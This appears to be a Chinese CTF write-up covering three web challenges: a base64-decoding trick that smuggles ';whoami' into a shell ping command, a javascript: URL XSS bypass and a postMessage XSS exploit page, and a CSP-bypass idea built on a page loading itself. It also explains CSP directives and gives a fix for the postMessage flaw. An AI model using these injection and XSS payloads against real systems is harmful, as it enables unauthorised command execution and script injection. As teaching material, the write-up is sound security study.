# PY

def run_ping(ip_base64):
    try:
        decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
        print(decoded_ip)
        print(decoded_ip.split('.'))
        if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
            print(1)
            return False
        if decoded_ip.count('.') != 3:
            print(2)
            return False
        if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
            print(3)
            return False
        if not ipaddress.ip_address(decoded_ip):
            print(4)
            return False
        if len(decoded_ip) > 15:
            print(5)
            return False
        if not re.match(r'^[A-Za-z0-9+/=]+$',ip_base64):
            print(6)
            return False
    except Exception as e:
        print(888)
        return False
    command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d )" | sh"""
    print(command)
    try:
        process = subprocess.run(
            command,
            shell= True,
            check = True,
            capture_output=True,
            text=True
        )
        return process.stdout
    except Exception as e:
        print(999)
        return False

很多时候,做这种题你都需要知道其中用到的函数有些什么特点,比如这一题,你需要知道 python 中 base64.b64decode 这个函数解码时,如果遇到两段 base64,只会解码第一段并返回

后续的所有的校验都是基于 decode_ip,但是最匪夷所思的地方在于:

1760868274214

显而易见,只要构造两段 base64 即可:

MTI3LjAuMC4xMjc=O3dob2FtaQ==

小插曲:

b64decode,或者说所有解码,都是以 = 作为分割来区分不同段的。也就是说,如果前面 ip 段的 base64 编码最后没有原生的 =(后加的不算),那么后面的一串都会被当作这一段而不是下一段。

# JS

url = new URL(userInput);
if (url.hostname != 'potatowo.top') {
    return;
}
window.href = url

1761240098732

是这样的,所以 payload:

const url=new URL("javascript://potatowo.top/%0Aalert('xss')");

1761186922649

这题土豆给了提示,问题在于 window.postMessage 方法,搜一搜:

1761187390151

PostMessage 的部分是要我们自己写的,这里我们作为发送方,给的代码是接收方,而且没有校验来源

l
<iframe id="attack" src="https://potatowo.com/vul.html" width="300" height="360"></iframe>
<script>
window.onload = function() {
    const iframe = document.getElementById('attack');
    iframe.onload = function() {
        const rec = this.contentWindow;
  		const payload = JSON.stringify({
    	"video-masthead-cta-clickthrough": 		"javascript:alert('XSS')"});
        rec.postMessage(payload, '*');
    };
};
</script>

这样我们就可以用自己的网页实现目标网页的 XSS,目前不大理解用途,但是你就说有没有 XSS 吧

修复起来也相当简单,只要目标页面验证下来源

<script>
window.addEventListener('message', function(e) {
  // 只接受可信域名的消息
  if (e.origin !== 'https://trusted.com') return;
  // 其他处理逻辑
});
</script>

# PHP

1761187000588

解释一下上面这些 header:

Content-Security-Policy: 内容安全策略(CSP),用于配置不同来源的内容的设置

script-src ‘self’;object-src:'none';
只允许自身加载 js 脚本;禁止通过某些标签(如 <object>,<embed > 等)引入的资源(Flash,Java 小程序)

还有一下几种:

default-src 默认规则,未指定的资源默认继承此规则
style-src 控制 CSS 来源
image-src 控制图片来源,包括 background-image 等引入的
connect-src 控制 AJAX,WebSocket,EventSource 等网络连接的域名
font-src
media-src
frame-src
report-uri 指定监控到的违反 CSP 规则时的报告地址,用于监控,仅报告不阻止

一般值:

self :仅当前域名,但排除本页面内联,伪协议,以及动态执行的
none :完全禁止此类资源
unsafe-inline :运行内联的脚本 / 样式
unsafe-eval :允许动态执行代码,比如 eval (),new Fuction ()
域名 / URL :xxx-src 之类以及 report-uri

不设置 CSP 时浏览器只遵从同源策略

代码实际上就是限制了我们只能加载该网站上已有的 js,看上去没办法 XSS?这个浏览器上怎么会有我们可以控制的已有 xss 呢?

欸,这个页面本身不就是嘛,自己加载自己,给被加载的自己传递参数来 xss!

1761241871004

显然,CSP 不会影响到别人加载自己。